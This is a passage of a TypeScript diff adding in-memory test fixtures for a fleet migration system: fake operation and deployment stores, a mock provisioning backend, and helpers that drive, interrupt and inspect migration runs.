+              throw new Error(
+                `fleet operation '${input.operationId}' belongs to the other operation kind`,
+              );
+            if (this.digests.get(input.operationId) !== input.intakeDigest)
+              throw new Error(
+                `fleet operation '${input.operationId}' already exists with a different intake`,
+              );
+            return {
+              outcome:
+                prior.state === 'running'
+                  ? 'adopted-running'
+                  : 'adopted-terminal',
+              record: copy(prior),
+            };
+          }
+          if (this.heads.has(kind))
+            throw new Error(
+              `another fleet ${kind} operation is active for this account`,
+            );
+          this.operations.set(input.operationId, copy(input.runRecord));
+          this.digests.set(input.operationId, input.intakeDigest);
+          this.heads.set(kind, input.operationId);
+          return { outcome: 'created', record: copy(input.runRecord) };
+        },
+        stageRows: async (input) => {
+          await assertOwned();
+          this.calls.push('stage');
+          const record = this.operations.get(input.operationId);
+          if (
+            record?.state !== 'running' ||
+            record.progress.revision !== input.expectedRevision
+          )
+            return;
+          const previous = new Map<FleetOperationRowKind, number>();
+          let batchBefore: FleetOperationStagedRow[] = [];
+          for (const [index, row] of input.rows.entries()) {
+            if (index % FLEET_OPERATION_STAGE_BATCH_STATEMENTS === 0) {
+              batchBefore = [...(this.rows.get(input.operationId) ?? [])];
+            }
+            if (index === this.stageLimit) {
+              this.stageLimit = undefined;
+              throw new Error('staging interrupted');
+            }
+            if (row.ordinal <= (previous.get(row.rowKind) ?? -1))
+              throw new Error('staging is not ordered');
+            previous.set(row.rowKind, row.ordinal);
+            const validated = this.validateRow(row);
+            const rows = this.rows.get(input.operationId) ?? [];
+            const existing = rows.find(
+              (prior) =>
+                prior.rowKind === row.rowKind && prior.ordinal === row.ordinal,
+            );
+            if (
+              existing &&
+              payloadBytes(existing) !== payloadBytes(validated)
+            ) {
+              this.rows.set(input.operationId, batchBefore);
+              throw new Error('immutable operation row payload differs');
+            }
+            if (!existing) rows.push(validated);
+            this.rows.set(input.operationId, rows);
+          }
+        },
+        commitProgress: async (input) => {
+          this.calls.push('commit');
+          this.commits.push(copy(input));
+          this.beforeCommit?.(input);
+          if (this.loseCommit === 'before') {
+            this.loseCommit = undefined;
+            throw new Error('progress response lost');
+          }
+          const rows = (input.rows ?? []).map((row) => this.validateRow(row));
+          const updates = (input.updateRows ?? []).map((row) =>
+            this.validateRow(row),
+          );
+          const mutationKeys = [...rows, ...updates].map(
+            (row) => `${row.rowKind}:${row.ordinal}`,
+          );
+          if (
+            updates.some((row) => row.rowKind !== 'item') ||
+            new Set(mutationKeys).size !== mutationKeys.length
+          ) {
+            throw new FleetOperationStateError();
+          }
+          if (rows.length + updates.length + 1 > 100)
+            throw new Error(
+              'commitProgress exceeds the operation batch budget of 100 statements',
+            );
+          for (const [kind, watermark] of Object.entries(
+            input.expectedRowWatermarks ?? {},
+          )) {
+            const below = rows.filter(
+              (row) => row.rowKind === kind && row.ordinal < watermark,
+            );
+            const ordinals = below
+              .map((row) => row.ordinal)
+              .sort((a, b) => a - b);
+            if (
+              ordinals.some(
+                (ordinal, index) =>
+                  ordinal !== watermark - below.length + index,
+              )
+            )
+              throw new Error(
+                fleetOperationWatermarkRunMessage(
+                  kind as FleetOperationRowKind,
+                ),
+              );
+          }
+          const prior = this.operations.get(input.operationId);
+          const persistedRows = this.rows.get(input.operationId) ?? [];
+          if (
+            !this.loseLease &&
+            prior?.state === 'running' &&
+            prior.progress.revision === input.expectedRevision
+          ) {
+            for (const [kind, watermark] of Object.entries(
+              input.expectedRowWatermarks ?? {},
+            )) {
+              const ordinals = new Set(
+                [...persistedRows, ...rows]
+                  .filter(
+                    (row) => row.rowKind === kind && row.ordinal < watermark,
+                  )
+                  .map((row) => row.ordinal),
+              );
+              if (ordinals.size !== watermark)
+                throw conflict(input.operationId);
+            }
+            for (const row of updates) {
+              if (
+                !persistedRows.some(
+                  (prior) =>
+                    prior.rowKind === row.rowKind &&
+                    prior.ordinal === row.ordinal,
+                )
+              )
+                throw conflict(input.operationId);
+            }
+            for (const row of rows) {
+              const persisted = persistedRows.find(
+                (prior) =>
+                  prior.rowKind === row.rowKind &&
+                  prior.ordinal === row.ordinal,
+              );
+              if (persisted && payloadBytes(persisted) !== payloadBytes(row))
+                throw new Error('immutable operation row payload differs');
+            }
+            for (const row of rows) {
+              if (
+                !persistedRows.some(
+                  (prior) =>
+                    prior.rowKind === row.rowKind &&
+                    prior.ordinal === row.ordinal,
+                )
+              )
+                persistedRows.push(row);
+            }
+            for (const row of updates) {
+              const index = persistedRows.findIndex(
+                (prior) =>
+                  prior.rowKind === row.rowKind &&
+                  prior.ordinal === row.ordinal,
+              );
+              if (index >= 0) persistedRows[index] = row;
+            }
+            this.rows.set(input.operationId, persistedRows);
+            this.operations.set(input.operationId, copy(input.runRecord));
+          } else {
+            if (!prior)
+              throw new Error(`no fleet operation '${input.operationId}'`);
+            for (const [kind, watermark] of Object.entries(
+              input.expectedRowWatermarks ?? {},
+            )) {
+              if (
+                persistedRows.filter(
+                  (row) => row.rowKind === kind && row.ordinal < watermark,
+                ).length !== watermark
+              )
+                throw conflict(input.operationId);
+            }
+            if (JSON.stringify(prior) !== JSON.stringify(input.runRecord))
+              throw conflict(input.operationId);
+            let complete = true;
+            for (const row of [...rows, ...updates]) {
+              const persisted = persistedRows.find(
+                (prior) =>
+                  prior.rowKind === row.rowKind &&
+                  prior.ordinal === row.ordinal,
+              );
+              if (!persisted) complete = false;
+              else if (payloadBytes(persisted) !== payloadBytes(row))
+                throw divergence(input.operationId);
+            }
+            if (!complete) throw conflict(input.operationId);
+          }
+          if (this.loseCommit === 'after') {
+            this.loseCommit = undefined;
+            throw new Error('progress response lost');
+          }
+          return copy(
+            this.operations.get(input.operationId) as FleetOperationRunRecord,
+          );
+        },
+        finalizeOperation: async (input) => {
+          await assertOwned();
+          this.calls.push('finalize');
+          const prior = this.operations.get(input.operationId);
+          if (!prior)
+            throw new Error(`no fleet operation '${input.operationId}'`);
+          if (prior.kind !== kind) {
+            throw new Error(fleetOperationOtherKindMessage(input.operationId));
+          }
+          if (
+            prior.state === 'finalized' &&
+            prior.progress.revision === input.runRecord.progress.revision
+          )
+            return prior;
+          if (
+            prior.state !== 'running' ||
+            prior.progress.revision !== input.expectedRevision
+          )
+            throw conflict(input.operationId);
+          const rows = this.rows.get(input.operationId) ?? [];
+          for (const [kind, count] of Object.entries(input.expectedRowCounts)) {
+            if (rows.filter((row) => row.rowKind === kind).length !== count)
+              throw new Error('finalize counts differ');
+          }
+          if (
+            input.requireAllItemsComplete &&
+            rows.some(
+              (row) =>
+                row.rowKind === 'item' && row.payload.status !== 'complete',
+            )
+          )
+            throw new Error('items are incomplete');
+          const finalized = { ...input.runRecord, terminalAtMs: NOW };
+          this.operations.set(input.operationId, copy(finalized));
+          this.heads.delete(kind);
+          return copy(finalized);
+        },
+        failOperation: async (input) => {
+          this.beforeFail?.();
+          await assertOwned();
+          this.calls.push('fail');
+          this.failures.push(copy(input));
+          if ((input.updateRows?.length ?? 0) > 1)
+            throw new Error(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE);
+          const prior = this.operations.get(input.operationId);
+          if (!prior)
+            throw new Error(`no fleet operation '${input.operationId}'`);
+          if (prior.kind !== kind) {
+            throw new Error(fleetOperationOtherKindMessage(input.operationId));
+          }
+          const rows = this.rows.get(input.operationId) ?? [];
+          if (
+            prior.state === 'failed' &&
+            prior.progress.revision === input.runRecord.progress.revision
+          ) {
+            for (const row of input.updateRows ?? []) {
+              const stored = rows.find(
+                (candidate) =>
+                  candidate.rowKind === row.rowKind &&
+                  candidate.ordinal === row.ordinal,
+              );
+              if (
+                !stored ||
+                JSON.stringify(stored.payload) !== JSON.stringify(row.payload)
+              )
+                throw divergence(input.operationId);
+            }
+            return;
+          }
+          if (
+            prior.state !== 'running' ||
+            prior.progress.revision !== input.expectedRevision
+          )
+            throw conflict(input.operationId);
+          const updates = (input.updateRows ?? []).map((row) =>
+            this.validateRow(row),
+          );
+          for (const row of updates) {
+            if (
+              !rows.some(
+                (prior) =>
+                  prior.rowKind === row.rowKind &&
+                  prior.ordinal === row.ordinal,
+              )
+            )
+              throw conflict(input.operationId);
+          }
+          for (const row of updates) {
+            const index = rows.findIndex(
+              (prior) =>
+                prior.rowKind === row.rowKind && prior.ordinal === row.ordinal,
+            );
+            rows[index] = row;
+          }
+          this.operations.set(
+            input.operationId,
+            copy({ ...input.runRecord, terminalAtMs: NOW }),
+          );
+          this.heads.delete(kind);
+        },
+      });
+    } finally {
+      this.locked.delete(kind);
+    }
+  }
+
+  validateRow(row: FleetOperationStagedRow): FleetOperationStagedRow {
+    const parsed = fleetOperationStagedRowFromUnknown(row);
+    if (parsed.rowKind === 'item')
+      return {
+        ...parsed,
+        payload: { ...fleetMigrationItemFromUnknown(parsed.payload) },
+      };
+    return parsed;
+  }
+
+  async readOperationById(id: string) {
+    return this.operations.get(id);
+  }
+
+  async readOperationRowsPage(
+    input: Parameters<FleetOperationStore['readOperationRowsPage']>[0],
+  ) {
+    this.beforePage?.();
+    const limit = fleetOperationPageLimit(input.limit);
+    const qualifying = (this.rows.get(input.operationId) ?? [])
+      .filter(
+        (row) =>
+          row.rowKind === input.rowKind &&
+          row.ordinal > (input.afterOrdinal ?? -1),
+      )
+      .sort((a, b) => a.ordinal - b.ordinal);
+    const rows = qualifying.slice(0, limit).map(copy);
+    return {
+      rows: this.reversePages ? rows.reverse() : rows,
+      done: qualifying.length <= limit,
+    };
+  }
+
+  async pruneFleetOperations() {
+    return { deleted: 0, releasedPins: 0 };
+  }
+
+  item(id = uuid(), ordinal = 0): FleetMigrationItem {
+    const row = this.rows
+      .get(id)
+      ?.find((row) => row.rowKind === 'item' && row.ordinal === ordinal);
+    if (!row) throw new Error('missing item fixture');
+    return fleetMigrationItemFromUnknown(row.payload);
+  }
+
+  setItem(item: FleetMigrationItem, id = uuid()): void {
+    const rows = this.rows.get(id);
+    if (!rows) throw new Error('missing rows fixture');
+    const index = rows.findIndex(
+      (row) => row.rowKind === 'item' && row.ordinal === item.ordinal,
+    );
+    rows[index] = {
+      rowKind: 'item',
+      ordinal: item.ordinal,
+      payload: { ...item },
+    };
+  }
+}
+
+class MemoryFleetStore implements FleetStateStore {
+  readonly records = new Map<string, FleetRecord>();
+  readonly puts: FleetRecord[] = [];
+  readonly ops: string[] = [];
+  held = false;
+  beforeGet: (() => void) | undefined;
+  beforePut: ((record: FleetRecord) => void) | undefined;
+  transformRead: (record: FleetRecord) => FleetRecord = copy;
+
+  constructor(records: readonly FleetRecord[]) {
+    for (const record of records) this.set(record);
+  }
+
+  set(record: FleetRecord): void {
+    this.records.set(`${record.tenantTag}:${record.environment}`, copy(record));
+  }
+
+  async get(tenant: string, environment: string) {
+    this.ops.push('get');
+    this.beforeGet?.();
+    const record = this.records.get(`${tenant}:${environment}`);
+    return record ? this.transformRead(record) : undefined;
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    run: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    if (this.held) throw new Error('deployment lease contended');
+    this.held = true;
+    this.ops.push('lease');
+    try {
+      return await run({
+        tenantTag,
+        environment,
+        mutationLeaseTtlMs: 900_000,
+        assertOwned: async () => {
+          if (!this.held) throw new Error('deployment lease lost');
+        },
+        renew: unused,
+        put: async (record) => {
+          if (
+            !this.held ||
+            record.tenantTag !== tenantTag ||
+            record.environment !== environment
+          )
+            throw new Error('unfenced put');
+          this.beforePut?.(record);
+          this.puts.push(copy(record));
+          this.ops.push(
+            `put:${record.phase}:${record.migrationIntent?.subphase ?? record.schemaVersion}`,
+          );
+          this.set(record);
+        },
+        delete: unused,
+        completeCleanup: unused,
+        deleteReleasingClaims: unused,
+      });
+    } finally {
+      this.held = false;
+    }
+  }
+
+  async list() {
+    return [...this.records.values()].map(copy);
+  }
+  readCleanupReceipt = unused;
+  pruneCleanupReceipts = unused;
+}
+
+function deploymentSpec(
+  tenantTag = 'cedar',
+  schemaVersion = 3,
+  external = false,
+): DeploymentSpec {
+  return {
+    tenantTag,
+    environment: 'production',
+    scriptName: `worker-${tenantTag}`,
+    databaseName: `database-${tenantTag}`,
+    compatibilityDate: '2026-05-01',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default { fetch() {} }' }],
+    authoredBy: external ? 'external' : 'platform',
+    schemaVersion,
+    migrations: Array.from({ length: schemaVersion }, (_, index) => ({
+      version: index + 1,
+      sql: `SELECT ${index + 1}`,
+      rollbackCompatible: true,
+    })),
+    durableObjectMigrations: [],
+    durableObjectBindings: [],
+    maintenanceBaseUrl: `https://control-${tenantTag}.example.test`,
+    routeHostname: `${tenantTag}.example.test`,
+  };
+}
+
+function baseRecord(spec: DeploymentSpec): FleetRecord {
+  return {
+    tenantTag: spec.tenantTag,
+    environment: spec.environment,
+    backend:
+      spec.authoredBy === 'external' ? 'workers-for-platforms' : 'plain-worker',
+    scriptName: spec.scriptName,
+    databaseName: spec.databaseName,
+    databaseId: `db-${spec.tenantTag}`,
+    schemaVersion: spec.schemaVersion,
+    artifactVersion: `v${spec.schemaVersion}`,
+    desiredSpecDigest: deploymentSpecDigest(spec),
+    durableObjectBindings: [],
+    routeHostname: spec.routeHostname,
+    phase: 'ready',
+    applicationBindings: EMPTY_APPLICATION,
+    updatedAt: '2026-08-01T00:00:00.000Z',
+  };
+}
+
+function createWorld(
+  input: {
+    path?: 'ready' | 'platform-only' | 'full';
+    external?: boolean;
+    tenant?: string;
+    schemaVersion?: number;
+    lagging?: boolean;
+    namespace?: boolean;
+  } = {},
+) {
+  const path = input.path ?? 'full';
+  const external = input.external ?? path === 'platform-only';
+  const priorSpec = {
+    ...deploymentSpec(input.tenant ?? 'cedar', 1, external),
+    ...(input.namespace
+      ? { durableObjectBindings: [{ name: 'STATE', className: 'Runner' }] }
+      : {}),
+  };
+  let spec =
+    path === 'full'
+      ? {
+          ...deploymentSpec(
+            priorSpec.tenantTag,
+            input.schemaVersion ?? 3,
+            external,
+          ),
+          durableObjectBindings: priorSpec.durableObjectBindings,
+        }
+      : priorSpec;
+  let stateDigest = 'a'.repeat(64);
+  let namespaceId = 'namespace-original';
+  const ops: string[] = [];
+  const releases = new Map<string, LiveDeployment>();
+  const routed = new Map<string, string>();
+  const applications = new Map<string, ApplicationBindingTopology>();
+  const ledger = new Set([1]);
+  const targetFor = (
+    targetSpec: DeploymentSpec,
+  ): ExternalPlatformTargetDescription => ({
+    maintenanceCapabilityPublicKey: KEY,
+    stateArtifactDigest: stateDigest,
+    stateDurableObjectHistoryDigest: durableObjectMigrationHistoryDigest([]),
+    egressArtifactDigest: 'b'.repeat(64),
+    d1SchemaVersion: targetSpec.schemaVersion,
+    d1SchemaHistoryDigest: deploymentSpecDigest(targetSpec),
+    outboundPolicy: canonicalDeploymentEgressPolicy({
+      policyId: externalPlatformResourceGroupId(targetSpec),
+      tenantTag: targetSpec.tenantTag,
+      environment: targetSpec.environment,
+      allowedHosts: ['api.example.test'],
+    }),
+  });
+  const resourcesFor = (
+    targetSpec: DeploymentSpec,
+  ): ExternalPlatformResources => ({
+    maintenanceCapabilityPublicKey: KEY,
+    stateWorker: {
+      scriptName: externalStateScriptName(targetSpec),
+      artifactVersion: `state-${stateDigest[0]}`,
+      artifactDigest: stateDigest,
+      durableObjectBindings: targetSpec.durableObjectBindings.map(
+        (binding) => ({ ...binding, namespaceId }),
+      ),
+      namespaceIds: input.namespace ? [namespaceId] : [],
+    },
+    egressProxy: {
+      scriptName: externalEgressProxyScriptName(targetSpec),
+      artifactVersion: 'egress-v1',
+      artifactDigest: 'b'.repeat(64),
+      ...targetFor(targetSpec).outboundPolicy,
+    },
+  });
+  const physicalName = (target: DeploymentSpec) =>
+    external ? externalReleaseScriptName(target) : target.scriptName;
+  const liveFor = (
+    target: DeploymentSpec,
+    artifactVersion: string,
+    application = EMPTY_APPLICATION,
+  ): LiveDeployment => {
+    const live = {
+      tenantTag: target.tenantTag,
+      environment: target.environment,
+      scriptName: physicalName(target),
+      databaseId: `db-${target.tenantTag}`,
+      durableObjectBindings: target.durableObjectBindings.map((binding) => ({
+        ...binding,
+        namespaceId,
+        scriptName: externalStateScriptName(target),
+      })),
+      serviceBindings: [],
+      queueProducerBindings: [],
+      plainTextBindings: Object.fromEntries(
+        application.vars.map(({ name, value }) => [name, value]),
+      ),
+      secretNames: [
+        'DEPLOYMENT_IDENTITY_SECRET',
+        ...(external ? [] : ['MAINTENANCE_ADMIN_SECRET']),
+        ...application.secrets.map(({ name }) => name),
+      ].sort(),
+      r2BucketBindings: application.r2Buckets,
+      artifactVersion,
+      desiredSpecDigest: deploymentSpecDigest(target),
+      schemaVersion: target.schemaVersion,
+      maintenance: HEALTHY,
+    };
+    return {
+      ...live,
+      providerBindingIdentities: providerBindingIdentitiesForInspection({
+        ...live,
+        databaseIds: [live.databaseId],
+      }),
+    };
+  };
+  const priorRelease: ExternalReleaseSnapshot = {
+    physicalScriptName: physicalName(priorSpec),
+    specDigest: deploymentSpecDigest(priorSpec),
+    artifactVersion: 'v1',
+    releaseSchemaVersion: 1,
+    application: EMPTY_APPLICATION,
+  };
+  const priorTarget = targetFor(priorSpec);
+  const initial: FleetRecord = {
+    ...baseRecord(priorSpec),
+    ...(external
+      ? {
+          activeRelease: priorRelease,
+          platformTarget: priorTarget,
+          outboundPolicy: priorTarget.outboundPolicy,
+          platformResources: resourcesFor(priorSpec),
+        }
+      : {}),
+    ...(input.lagging
+      ? {
+          schemaVersion: 2,
+          platformTarget: {
+            ...priorTarget,
+            d1SchemaVersion: 2,
+            d1SchemaHistoryDigest: 'f'.repeat(64),
+          },
+        }
+      : {}),
+  };
+  releases.set(physicalName(priorSpec), liveFor(priorSpec, 'v1'));
+  routed.set(spec.tenantTag, physicalName(priorSpec));
+  if (path === 'platform-only') stateDigest = 'd'.repeat(64);
+  const fleetStore = new MemoryFleetStore([initial]);
+  const operationStore = new MemoryOperationStore();
+  let maintenance = HEALTHY;
+  let failure: { operation: string; error: unknown } | undefined;
+  const call = (name: string) => {
+    if (!fleetStore.held)
+      throw new Error(`provider ${name} called outside deployment lease`);
+    ops.push(name);
+    if (failure?.operation === name) throw failure.error;
+  };
+  const backend: ProvisioningBackend = {
+    kind: external ? 'workers-for-platforms' : 'plain-worker',
+    findDatabase: unused,
+    ensureDatabase: unused,
+    removeTraffic: unused,
+    assertTrafficRemoved: unused,
+    revokeCredentials: unused,
+    deleteWorker: unused,
+    assertDatabaseDetached: unused,
+    exportDatabase: unused,
+    deleteDatabase: unused,
+    getDatabase: async (id) => {
+      call('getDatabase');
+      return { id, name: `database-${id.slice(3)}`, created: false };
+    },
+    readDeploymentIdentity: async (database) => {
+      call('readDeploymentIdentity');
+      return database.id.slice(3);
+    },
+    seedDeploymentIdentity: async (_database, tenant) => {
+      call(`seed:${tenant}`);
+    },
+    applyMigrations: async (_database, migrations) => {
+      call(
+        migrations === spec.migrations
+          ? 'apply:verify'
+          : `apply:${migrations.at(-1)?.version}`,
+      );
+      if (migrations === spec.migrations) {
+        if (migrations.some(({ version }) => !ledger.has(version)))
+          throw new Error('migration ledger is incomplete');
+      } else {
+        for (const { version } of migrations) ledger.add(version);
+      }
+    },
+    deployWorker: async (
+      target,
+      _database,
+      _secrets,
+      _resources,
+      _lease,
+      _expected,
+      application,
+    ) => {
+      call('deploy');
+      const artifactVersion = `v${target.schemaVersion}`;
+      releases.set(
+        physicalName(target),
+        liveFor(target, artifactVersion, application),
+      );
+      applications.set(physicalName(target), application ?? EMPTY_APPLICATION);
+      return {
+        artifactVersion,
+        created: true,
+        physicalScriptName: physicalName(target),
+      };
+    },
+    inspect: async (target) => {
+      call('inspect');
+      return releases.get(physicalName(target));
+    },
+    ensureMaintenance: async (target) => {
+      call('maintenance');
+      const live = releases.get(physicalName(target));
+      if (live) releases.set(physicalName(target), { ...live, maintenance });
+      return maintenance;
+    },
+    promoteWorker: async (target, guard) => {
+      call('promote');
+      const serving = routed.get(target.tenantTag);
+      if (serving && !guard.allowedCurrentScriptNames.includes(serving))
+        throw new Error('route changed');
+      routed.set(target.tenantTag, physicalName(target));
+    },
+    attestActiveRoute: async (target) => {
+      call('attest');
+      const script = routed.get(target.tenantTag);
+      const live = script ? releases.get(script) : undefined;
+      if (!script || !live) throw new Error('route is absent');
+      return {
+        specDigest: live.desiredSpecDigest,
+        artifactVersion: live.artifactVersion,
+        physicalScriptName: script,
+        source: external ? 'dispatch-route' : 'workers-deployments',
+        observedAt: new Date(NOW).toISOString(),
+      };
+    },
+    ...(external
+      ? {
+          immutableExternalArtifacts: true as const,
+          releaseScriptName: (target: DeploymentSpec) => {
+            call('releaseScriptName');
+            return physicalName(target);
+          },
+          describeExternalPlatformTarget: (target: DeploymentSpec) => {
+            call('describeTarget');
+            return targetFor(target);
+          },
+          ensurePlatformResources: async (target: DeploymentSpec) => {
+            call('platform');
+            return {
+              resources: resourcesFor(target),
+              created: { stateWorker: false, egressProxy: false },
+            };
+          },
+          deleteRetainedRelease: async (
+            _target: DeploymentSpec,
+            release: ExternalReleaseSnapshot,
+          ) => {
+            call(`retire:${release.physicalScriptName}`);
+            releases.delete(release.physicalScriptName);
+          },
+        }
+      : {}),
+  };
+  const options = (
+    action: FleetMigrationAdvanceAction,
+  ): AdvanceFleetMigrationOptions => ({
+    operationStore,
+    fleetStore,
+    backendFor(record) {
+      ops.push(`backend:${record.tenantTag}`);
+      return backend;
+    },
+    specFor(record) {
+      ops.push(`spec:${record.tenantTag}`);
+      return spec;
+    },
+    secretsFor(record) {
+      ops.push(`secrets:${record.tenantTag}`);
+      return SECRETS;
+    },
+    settlementFor() {
+      ops.push('settlementFor');
+      return {
+        settle: async () => {
+          call('settle');
+        },
+      };
+    },
+    clock: () => NOW,
+    action,
+  });
+  return {
+    initial,
+    priorSpec,
+    priorRelease,
+    priorTarget,
+    backend,
+    fleetStore,
+    operationStore,
+    ops,
+    releases,
+    routed,
+    applications,
+    ledger,
+    options,
+    targetFor,
+    resourcesFor,
+    liveFor,
+    get spec() {
+      return spec;
+    },
+    set spec(next: DeploymentSpec) {
+      spec = next;
+    },
+    setMaintenance(next: MaintenanceHealth) {
+      maintenance = next;
+    },
+    setNamespace(next: string) {
+      namespaceId = next;
+    },
+    fail(operation: string, error: unknown) {
+      failure = { operation, error };
+    },
+    clearFailure() {
+      failure = undefined;
+    },
+    start(
+      id = uuid(),
+      records: readonly FleetRecord[] = [initial],
+      canaryTenantTags: readonly string[] = [],
+    ) {
+      return advanceFleetMigration(
+        options({ kind: 'start', operationId: id, records, canaryTenantTags }),
+      );
+    },
+    current() {
+      return fleetStore.records.get(
+        `${initial.tenantTag}:${initial.environment}`,
+      ) as FleetRecord;
+    },
+  };
+}
+
+type World = ReturnType<typeof createWorld>;
+
+function finalizedWorld(path: 'ready' | 'platform-only' | 'full' = 'full') {
+  const world = createWorld({ path, external: true });
+  const history = [{ tag: 'state-v2', newClasses: ['StateV2'] }];
+  const target = {
+    ...world.targetFor(world.spec),
+    stateDurableObjectTag: 'state-v2',
+    stateDurableObjectHistoryDigest:
+      durableObjectMigrationHistoryDigest(history),
+  };
+  const bridge: BridgeSnapshot = {
+    scriptName: world.initial.scriptName,
+    artifactVersion: 'state-a',
+    artifactDigest: world.priorTarget.stateArtifactDigest,
+    databaseId: world.initial.databaseId,
+    durableObjectBindings: [],
+    namespaceIds: [],
+    secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+    stateOnly: true,
+    publicRouteAttached: false,
+  };
+  const resources = world.initial.platformResources;
+  if (!resources) throw new Error('missing finalized resources');
+  const initial = {
+    ...world.initial,
+    durableObjectMigrationHistory: [],
+    durableObjectMigrationHistoryDigest: durableObjectMigrationHistoryDigest(
+      [],
+    ),
+    ...(path === 'ready' ? { platformTarget: target } : {}),
+    platformResources: {
+      ...resources,
+      stateWorker: {
+        ...resources.stateWorker,
+        scriptName: bridge.scriptName,
+        plane: 'ordinary' as const,
+      },
+    },
+    backendSwitchIntent: {
+      kind: 'backend-switch' as const,
+      tenantTag: world.initial.tenantTag,
+      environment: world.initial.environment,
+      prior: {
+        scriptName: world.initial.scriptName,
+        artifactVersion: 'plain-v1',
+        specDigest: world.initial.desiredSpecDigest,
+        databaseId: world.initial.databaseId,
+        databaseName: world.initial.databaseName,
+        durableObjectBindings: [],
+        namespaceIds: [],
+        secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+        applicationResources: [],
+        customDomain: {
+          id: 'domain-cedar',
+          hostname: world.initial.routeHostname as string,
+        },
+      },
+      targetSpecDigest: world.initial.desiredSpecDigest,
+      targetApplication: EMPTY_APPLICATION,
+      target: world.priorTarget,
+      rollbackUntil: '2026-08-20T00:00:00.000Z',
+      subphase: 'finalized' as const,
+      bridge,
+    },
+  };
+  world.fleetStore.set(initial);
+  const plan: BridgeMutationPlan = {
+    artifactDigest: target.stateArtifactDigest,
+    durableObjectMigrations: history,
+    targetDurableObjectTag: target.stateDurableObjectTag,
+    secretNames: bridge.secretNames,
+    mutationDigest: 'e'.repeat(64),
+  };
+  const provider: FinalizedOrdinaryStateProvider = {
+    describeFinalizedBridgeTarget() {
+      world.ops.push('finalizedTarget');
+      return target;
+    },
+    describeFinalizedState() {
+      world.ops.push('finalizedPlan');
+      return plan;
+    },
+    async assertFinalizedState() {
+      world.ops.push('finalizedAssert');
+    },
+    async ensureFinalizedState() {
+      world.ops.push('finalizedEnsure');
+      return {
+        ...bridge,
+        artifactVersion: 'state-v2',
+        artifactDigest: target.stateArtifactDigest,
+      };
+    },
+    async commitFinalizedOwnership({
+      currentRecord,
+      bridge: nextBridge,
+      target: nextTarget,
+    }) {
+      world.ops.push('finalizedCommit');
+      const prior = currentRecord.platformResources;
+      if (!prior) throw new Error('missing finalized resources');
+      return {
+        ...currentRecord,
+        platformResources: {
+          ...prior,
+          stateWorker: {
+            ...prior.stateWorker,
+            artifactVersion: nextBridge.artifactVersion,
+            artifactDigest: nextBridge.artifactDigest,
+            durableObjectTag: nextTarget.stateDurableObjectTag,
+            durableObjectBindings: nextBridge.durableObjectBindings,
+            namespaceIds: nextBridge.namespaceIds,
+          },
+        },
+      };
+    },
+  };
+  const options = world.options;
+  world.options = (action) => ({
+    ...options(action),
+    finalizedStateProviderFor() {
+      world.ops.push('finalizedFor');
+      return provider;
+    },
+  });
+  return { world, provider, target };
+}
+
+async function continueWorld(
+  world: World,
+  result: FleetMigrationAdvanceResult,
+): Promise<FleetMigrationAdvanceResult> {
+  return advanceFleetMigration(
+    world.options({ kind: 'continue', token: result.token }),
+  );
+}
+
+async function advanceTo(
+  world: World,
+  step: FleetMigrationStep,
+  result?: FleetMigrationAdvanceResult,
+): Promise<FleetMigrationAdvanceResult> {
+  let next = result ?? (await world.start());
+  for (let count = 0; count < 80; count += 1) {
+    const item = world.operationStore.item();
+    if (item.plan?.[item.planCursor ?? -1]?.step === step) return next;
+    if (next.status !== 'pending') throw new Error(`terminated before ${step}`);
+    next = await continueWorld(world, next);
+  }
+  throw new Error(`did not reach ${step}`);
+}
+
+async function drainWorld(
+  world: World,
+  result?: FleetMigrationAdvanceResult,
+): Promise<FleetMigrationAdvanceResult> {
+  let next = result ?? (await world.start());
+  for (let count = 0; count < 100; count += 1) {
+    if (next.status !== 'pending') return next;
+    next = await continueWorld(world, next);
+  }
+  throw new Error('migration did not finish');
+}
+
+async function withAdmitted<T>(
+  world: World,
+  run: (
+    admitted: Awaited<ReturnType<typeof admitFleetMigrationItem>>,
+  ) => Promise<T>,
+): Promise<T> {
+  return world.fleetStore.withDeploymentLease(
+    world.initial.tenantTag,
+    world.initial.environment,
+    async (lease) => {
+      const options = world.options({ kind: 'continue', token: {} });
+      return run(
+        await admitFleetMigrationItem(
+          {
+            store: world.fleetStore,
+            lease,
+            backendFor: options.backendFor,
+            specFor: options.specFor,
+            secretsFor: options.secretsFor,
+            finalizedStateProviderFor: options.finalizedStateProviderFor,
+            settlementFor: options.settlementFor,
+            clock: () => NOW,
+            ordinal: 1,
+            attestationOptions: { clock: () => NOW },
+          },
+          world.initial.tenantTag,
+          world.initial.environment,
+        ),
+      );
+    },
+  );
+}
+
+function migrateWorld(world: World) {
+  const options = world.options({ kind: 'continue', token: {} });
+  return migrateFleet({
+    ...options,
+    store: world.fleetStore,
+    records: [world.current()],
+    canaryTenantTags: [],
+  });
+}
+
+function expectItemFailure(world: World, ordinal = 0) {
+  expect(world.operationStore.item(uuid(), ordinal).status).toBe('failed');
+  expect(world.operationStore.operations.get(uuid())).toMatchObject({
+    state: 'failed',
+    progress: { failure: { reason: 'item-failed', itemOrdinal: ordinal } },
+  });
+  expect(
+    world.operationStore.calls.filter((call) => call === 'fail'),
+  ).toHaveLength(1);
+}
+
+function armOptions(
+  world: World,
+  extra: Partial<AdvanceFleetMigrationOptions>,
+): void {
+  const base = world.options;
+  world.options = (action) => ({ ...base(action), ...extra });
+}
+
+/**
+ * A start driven through `world.options`, so an `armOptions` override reaches
+ * it. `world.start()` calls the module-local `options` const instead, which no
+ * override can see.
+ */
+function armedStart(
+  world: World,
+  id = uuid(),
+  records: readonly FleetRecord[] = [world.initial],
+): Promise<FleetMigrationAdvanceResult> {
+  return advanceFleetMigration(
+    world.options({
+      kind: 'start',
+      operationId: id,
+      records,
+      canaryTenantTags: [],
+    }),
+  );
+}
+
+function providerMutations(world: World) {
+  return world.ops.filter((op) =>
+    /^(apply:|seed:|deploy$|maintenance$|promote$|platform$|settle$|retire:)/u.test(
+      op,
+    ),
+  );
+}
+
+async function loseStepResponse(
+  world: World,
+  result: FleetMigrationAdvanceResult,
+) {
+  const item = world.operationStore.item();
+  world.operationStore.loseCommit = 'before';
+  await expect(continueWorld(world, result)).rejects.toThrow(
+    'progress response lost',
+  );
+  expect(world.operationStore.item()).toEqual(item);
+  return item;
+}
+
